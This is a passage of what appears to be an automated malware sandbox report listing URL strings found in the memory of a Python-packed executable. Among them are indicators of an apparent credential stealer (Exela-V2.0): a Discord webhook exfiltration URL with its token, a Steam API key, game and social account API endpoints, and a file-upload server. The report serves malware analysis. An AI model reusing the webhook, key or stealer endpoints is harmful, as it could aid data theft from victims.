00000000.00000003.1660274517.000001CF0A290000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000000.00000003.1664424670.000001CF0A292000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000000.00000003.1660916713.000001CF0A290000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com/CPS0
Source: rename_me_before.exe, 00000001.00000003.1965506103.000001B1005D5000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000002.1975466340.000001B1005E9000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1965777162.000001B1005E8000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1965048386.000001B10058E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.iana.org/assignments/tls-parameters/tls-parameters.xml#tls-parameters-6
Source: rename_me_before.exe, 00000001.00000003.1673393839.000001B100980000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.iana.org/time-zones/repository/tz-link.html
Source: rename_me_before.exe, 00000001.00000003.1673393839.000001B100980000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.phys.uu.nl/~vgent/calendar/isocalendar.htm
Source: rename_me_before.exe, 00000001.00000002.1978690429.000001B101D30000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://account.riotgames.com/api/account/v1/user
Source: rename_me_before.exe, 00000001.00000002.1978690429.000001B101D30000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://account.riotgames.com/api/account/v1/user0
Source: rename_me_before.exe, 00000001.00000002.1978690429.000001B101D30000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://accounts.reddit.com/api/access_token
Source: powershell.exe, 00000045.00000002.1826414031.000001DBBF011000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: rename_me_before.exe, 00000001.00000003.1949949259.000001B1021E3000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000002.1980340485.000001B103050000.00000004.00001000.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1949993747.000001B101FC3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.gofile.io/getServer
Source: rename_me_before.exe, 00000001.00000002.1978981334.000001B101D80000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://api.steampowered.com/IPlayerService/GetSteamLevel/v1/?key=440D7F4D810EF9298D25EDDF37C1F902&s
Source: rename_me_before.exe, 00000001.00000003.1949949259.000001B1021E3000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000002.1978027683.000001B101370000.00000004.00001000.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1949993747.000001B101FC3000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000002.1978981334.000001B101D80000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://api.steampowered.com/ISteamUser/GetPlayerSummaries/v0002/?key=440D7F4D810EF9298D25EDDF37C1F9
Source: rename_me_before.exe, 00000001.00000003.1891156202.000001B100C4C000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000002.1977125594.000001B100C17000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1947237648.000001B100C4C000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1684873448.000001B100C17000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1964107785.000001B100C17000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1953054230.000001B100C17000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1969941981.000001B100C4C000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000002.1977852804.000001B101140000.00000004.00001000.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1971261333.000001B100CC5000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1685174704.000001B100CB3000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1684873448.000001B100C48000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000002.1977307117.000001B100CD2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bugs.python.org/issue37179
Source: rename_me_before.exe, 00000001.00000002.1980252152.000001B102F50000.00000004.00001000.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1963149161.000001B102173000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://canary.discord.com/api/webhooks/1263157181906419813/b4pV0iwlt5KWRU4QEOMzoONBAdBMW4nt-dNtrU5B
Source: rename_me_before.exe, 00000001.00000002.1978690429.000001B101D30000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://cdn.discordapp.com/avatars/
Source: powershell.exe, 00000045.00000002.1843174125.000001DBCF082000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000045.00000002.1843174125.000001DBCF082000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000045.00000002.1843174125.000001DBCF082000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: rename_me_before.exe, 00000000.00000003.1662701366.000001CF0A295000.00000004.00000020.00020000.00000000.sdmp, METADATA0.0.dr	String found in binary or memory: https://cryptography.io
Source: METADATA0.0.dr	String found in binary or memory: https://cryptography.io/
Source: rename_me_before.exe, 00000000.00000003.1662701366.000001CF0A295000.00000004.00000020.00020000.00000000.sdmp, METADATA0.0.dr	String found in binary or memory: https://cryptography.io/en/latest/changelog/
Source: rename_me_before.exe, 00000000.00000003.1662701366.000001CF0A295000.00000004.00000020.00020000.00000000.sdmp, METADATA0.0.dr	String found in binary or memory: https://cryptography.io/en/latest/installation/
Source: rename_me_before.exe, 00000000.00000003.1662701366.000001CF0A295000.00000004.00000020.00020000.00000000.sdmp, METADATA0.0.dr	String found in binary or memory: https://cryptography.io/en/latest/security/
Source: rename_me_before.exe, 00000001.00000002.1978027683.000001B101370000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://datatracker.ietf.org/doc/html/rfc5246#section-7.4.1.4.1
Source: rename_me_before.exe, 00000001.00000002.1978690429.000001B101D30000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://discord.com/api/v8/users/
Source: rename_me_before.exe, 00000001.00000003.1891156202.000001B100C4C000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000002.1977125594.000001B100C17000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1947237648.000001B100C4C000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1684873448.000001B100C17000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1964107785.000001B100C17000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1953054230.000001B100C17000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1969941981.000001B100C4C000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000002.1977852804.000001B101140000.00000004.00001000.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1971261333.000001B100CC5000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1685174704.000001B100CB3000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1684873448.000001B100C48000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000002.1977307117.000001B100CD2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.aiohttp.org/en/stable/client_advanced.html#proxy-support
Source: rename_me_before.exe, 00000000.00000003.1661645674.000001CF0A292000.00000004.00000020.00020000.00000000.sdmp, METADATA.0.dr	String found in binary or memory: https://docs.github.com/en/account-and-profile/setting-up-and-managing-your-github-profile/customizi
Source: rename_me_before.exe, 00000001.00000003.1965506103.000001B1005D5000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000002.1975466340.000001B1005E9000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1965777162.000001B1005E8000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1965048386.000001B10058E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3.11/library/binascii.html#binascii.a2b_base64
Source: rename_me_before.exe, 00000001.00000002.1977125594.000001B100C17000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1684873448.000001B100C17000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1964107785.000001B100C17000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1953054230.000001B100C17000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000002.1977852804.000001B101140000.00000004.00001000.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1685174704.000001B100CB3000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1684873448.000001B100C48000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/asyncio-eventloop.html
Source: rename_me_before.exe, 00000001.00000003.1970570414.000001B100618000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1971203694.000001B10061B000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1965506103.000001B1005D5000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1675049880.000001B100613000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1966055870.000001B100617000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000002.1975666963.000001B10061C000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1677223508.000001B100613000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1673647231.000001B100613000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1671664245.000001B100613000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1965777162.000001B1005E8000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1670798799.000001B100615000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1965048386.000001B10058E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/multiprocessing.html
Source: rename_me_before.exe, 00000001.00000003.1891156202.000001B100C4C000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1947237648.000001B100C4C000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1969941981.000001B100C4C000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1971261333.000001B100CC5000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1685174704.000001B100CB3000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000002.1977938973.000001B101240000.00000004.00001000.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1684873448.000001B100C48000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000002.1977307117.000001B100CD2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/ssl.html#ssl.OP_NO_COMPRESSION
Source: rename_me_before.exe, 00000001.00000002.1978690429.000001B101D30000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://economy.roblox.com/v1/users/
Source: rename_me_before.exe, 00000000.00000003.1661645674.000001CF0A292000.00000004.00000020.00020000.00000000.sdmp, METADATA.0.dr	String found in binary or memory: https://filepreviews.io/
Source: svchost.exe, 0000002A.00000003.1749773200.000001D218CC2000.00000004.00000800.00020000.00000000.sdmp, edb.log.42.dr, qmgr.db.42.dr	String found in binary or memory: https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6
Source: edb.log.42.dr, qmgr.db.42.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod.C:
Source: edb.log.42.dr, qmgr.db.42.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2
Source: edb.log.42.dr, qmgr.db.42.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: svchost.exe, 0000002A.00000003.1749773200.000001D218CC2000.00000004.00000800.00020000.00000000.sdmp, edb.log.42.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96
Source: powershell.exe, 00000045.00000002.1826414031.000001DBBF244000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: rename_me_before.exe, 00000001.00000003.1965401133.000001B17E4F0000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1966237596.000001B17E535000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000002.1981201596.000001B17E536000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1667996233.000001B17E531000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1668933285.000001B17E528000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1669358961.000001B17E510000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1670306810.000001B17E523000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1668055844.000001B17E535000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1669127853.000001B17E528000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1965746028.000001B17E529000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Unidata/MetPy/blob/a3424de66a44bf3a92b0dcacf4dff82ad7b86712/src/metpy/plots/wx_sy
Source: rename_me_before.exe, 00000001.00000003.1891156202.000001B100C4C000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000002.1977125594.000001B100C17000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1947237648.000001B100C4C000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1684873448.000001B100C17000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1964107785.000001B100C17000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1953054230.000001B100C17000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1969941981.000001B100C4C000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000002.1977852804.000001B101140000.00000004.00001000.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1971261333.000001B100CC5000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1685174704.000001B100CB3000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1684873448.000001B100C48000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000002.1977307117.000001B100CD2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/aio-libs/aiohttp/discussions/6044
Source: rename_me_before.exe, 00000000.00000003.1662701366.000001CF0A295000.00000004.00000020.00020000.00000000.sdmp, METADATA0.0.dr	String found in binary or memory: https://github.com/pyca/cryptography
Source: rename_me_before.exe, 00000000.00000003.1662701366.000001CF0A295000.00000004.00000020.00020000.00000000.sdmp, METADATA0.0.dr	String found in binary or memory: https://github.com/pyca/cryptography/
Source: rename_me_before.exe, 00000000.00000003.1662701366.000001CF0A295000.00000004.00000020.00020000.00000000.sdmp, METADATA0.0.dr	String found in binary or memory: https://github.com/pyca/cryptography/actions?query=workflow%3ACI
Source: METADATA0.0.dr	String found in binary or memory: https://github.com/pyca/cryptography/issues
Source: rename_me_before.exe, 00000000.00000003.1662701366.000001CF0A295000.00000004.00000020.00020000.00000000.sdmp, METADATA0.0.dr	String found in binary or memory: https://github.com/pyca/cryptography/workflows/CI/badge.svg?branch=main
Source: rename_me_before.exe, 00000000.00000003.1661645674.000001CF0A292000.00000004.00000020.00020000.00000000.sdmp, METADATA.0.dr	String found in binary or memory: https://github.com/python-attrs/attrs
Source: rename_me_before.exe, 00000000.00000003.1661645674.000001CF0A292000.00000004.00000020.00020000.00000000.sdmp, METADATA.0.dr	String found in binary or memory: https://github.com/python-attrs/attrs)
Source: rename_me_before.exe, 00000000.00000003.1661645674.000001CF0A292000.00000004.00000020.00020000.00000000.sdmp, METADATA.0.dr	String found in binary or memory: https://github.com/python-attrs/attrs/blob/main/.github/CONTRIBUTING.md)
Source: rename_me_before.exe, 00000000.00000003.1661645674.000001CF0A292000.00000004.00000020.00020000.00000000.sdmp, METADATA.0.dr	String found in binary or memory: https://github.com/python-attrs/attrs/issues/1141)
Source: rename_me_before.exe, 00000000.00000003.1661645674.000001CF0A292000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000000.00000003.1661709047.000001CF0A2A0000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000000.00000003.1661645674.000001CF0A2A0000.00000004.00000020.00020000.00000000.sdmp, METADATA.0.dr	String found in binary or memory: https://github.com/python-attrs/attrs/issues/1158)
Source: rename_me_before.exe, 00000000.00000003.1661645674.000001CF0A292000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000000.00000003.1661709047.000001CF0A2A0000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000000.00000003.1661645674.000001CF0A2A0000.00000004.00000020.00020000.00000000.sdmp, METADATA.0.dr	String found in binary or memory: https://github.com/python-attrs/attrs/issues/1165)
Source: rename_me_before.exe, 00000000.00000003.1661645674.000001CF0A292000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000000.00000003.1661709047.000001CF0A2A0000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000000.00000003.1661645674.000001CF0A2A0000.00000004.00000020.00020000.00000000.sdmp, METADATA.0.dr	String found in binary or memory: https://github.com/python-attrs/attrs/issues/1172)
Source: rename_me_before.exe, 00000000.00000003.1661645674.000001CF0A292000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000000.00000003.1661709047.000001CF0A2A0000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000000.00000003.1661645674.000001CF0A2A0000.00000004.00000020.00020000.00000000.sdmp, METADATA.0.dr	String found in binary or memory: https://github.com/python-attrs/attrs/issues/1187)
Source: rename_me_before.exe, 00000000.00000003.1661645674.000001CF0A292000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000000.00000003.1661709047.000001CF0A2A0000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000000.00000003.1661645674.000001CF0A2A0000.00000004.00000020.00020000.00000000.sdmp, METADATA.0.dr	String found in binary or memory: https://github.com/python-attrs/attrs/issues/1200)
Source: rename_me_before.exe, 00000000.00000003.1661645674.000001CF0A292000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000000.00000003.1661709047.000001CF0A2A0000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000000.00000003.1661645674.000001CF0A2A0000.00000004.00000020.00020000.00000000.sdmp, METADATA.0.dr	String found in binary or memory: https://github.com/python-attrs/attrs/issues/1203)
Source: rename_me_before.exe, 00000001.00000002.1975958598.000001B1006A7000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1965506103.000001B1005D5000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1966055870.000001B100617000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1970448147.000001B1006A7000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1679845016.000001B100B67000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1968725950.000001B1006A6000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1966129249.000001B100693000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1965777162.000001B1005E8000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1679845016.000001B100BB8000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1965048386.000001B10058E000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1679902734.000001B1009F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python-attrs/attrs/issues/136
Source: rename_me_before.exe, 00000001.00000003.1963524951.000001B100A7B000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1953054230.000001B100A7B000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1967857671.000001B100A7E000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1964107785.000001B100A7B000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1971346591.000001B100B51000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000002.1976903040.000001B100B52000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python-attrs/attrs/issues/251
Source: rename_me_before.exe, 00000001.00000002.1975958598.000001B1006A7000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1965506103.000001B1005D5000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1966055870.000001B100617000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1970448147.000001B1006A7000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1679845016.000001B100B67000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1968725950.000001B1006A6000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1966129249.000001B100693000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1965777162.000001B1005E8000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1679845016.000001B100BB8000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1965048386.000001B10058E000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1679902734.000001B1009F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python-attrs/attrs/issues/428
Source: rename_me_before.exe, 00000000.00000003.1661645674.000001CF0A292000.00000004.00000020.00020000.00000000.sdmp, METADATA.0.dr	String found in binary or memory: https://github.com/python-attrs/attrs/wiki/Extensions-to-attrs)
Source: rename_me_before.exe, 00000001.00000003.1667996233.000001B17E531000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000002.1981358821.000001B17FEA8000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/cpython/blob/3.9/Lib/importlib/_bootstrap_external.py#L679-L688
Source: rename_me_before.exe, 00000001.00000003.1965746028.000001B17E529000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/abc.py
Source: rename_me_before.exe, 00000001.00000003.1965401133.000001B17E4F0000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1966237596.000001B17E535000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000002.1981201596.000001B17E536000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1667996233.000001B17E531000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1668933285.000001B17E528000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1669358961.000001B17E510000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1670306810.000001B17E523000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1668055844.000001B17E535000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1669127853.000001B17E528000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1965746028.000001B17E529000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/reader
Source: rename_me_before.exe, 00000001.00000003.1968595963.000001B1005C0000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1669775645.000001B1005E2000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1670268190.000001B100598000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1669887991.000001B1005BF000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1968509131.000001B1005BD000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1966526691.000001B1005BC000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1673647231.000001B100579000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1670211447.000001B10058C000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1671664245.000001B10058C000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000002.1975257853.000001B1005C1000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1670048680.000001B1005C3000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1669837588.000001B1005F9000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1965048386.000001B10058E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/cpython/issues/86361.
Source: rename_me_before.exe, 00000001.00000003.1891156202.000001B100C4C000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000002.1977125594.000001B100C17000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1947237648.000001B100C4C000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1684873448.000001B100C17000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1964107785.000001B100C17000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1953054230.000001B100C17000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1969941981.000001B100C4C000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000002.1977852804.000001B101140000.00000004.00001000.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1971261333.000001B100CC5000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1685174704.000001B100CB3000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1684873448.000001B100C48000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000002.1977307117.000001B100CD2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/cpython/pull/28073
Source: rename_me_before.exe, 00000001.00000003.1966972745.000001B102228000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/quicaxd/Exela-V2.0
Source: rename_me_before.exe, 00000001.00000003.1952943493.000001B1014F9000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000002.1978432003.000001B101520000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1949949259.000001B1021E3000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1949993747.000001B101FC3000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000002.1978981334.000001B101D80000.00000004.00001000.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000002.1978690429.000001B101D30000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/quicaxd/Exela-V2.0/Exela-V2.0
Source: rename_me_before.exe, 00000001.00000002.1978981334.000001B101D80000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/quicaxd/Exela-V2.00
Source: rename_me_before.exe, 00000001.00000002.1978690429.000001B101D30000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/quicaxd/Exela-V2.0p
Source: METADATA.0.dr	String found in binary or memory: https://github.com/sponsors/hynek
Source: rename_me_before.exe, 00000000.00000003.1661645674.000001CF0A292000.00000004.00000020.00020000.00000000.sdmp, METADATA.0.dr	String found in binary or memory: https://github.com/sponsors/hynek).
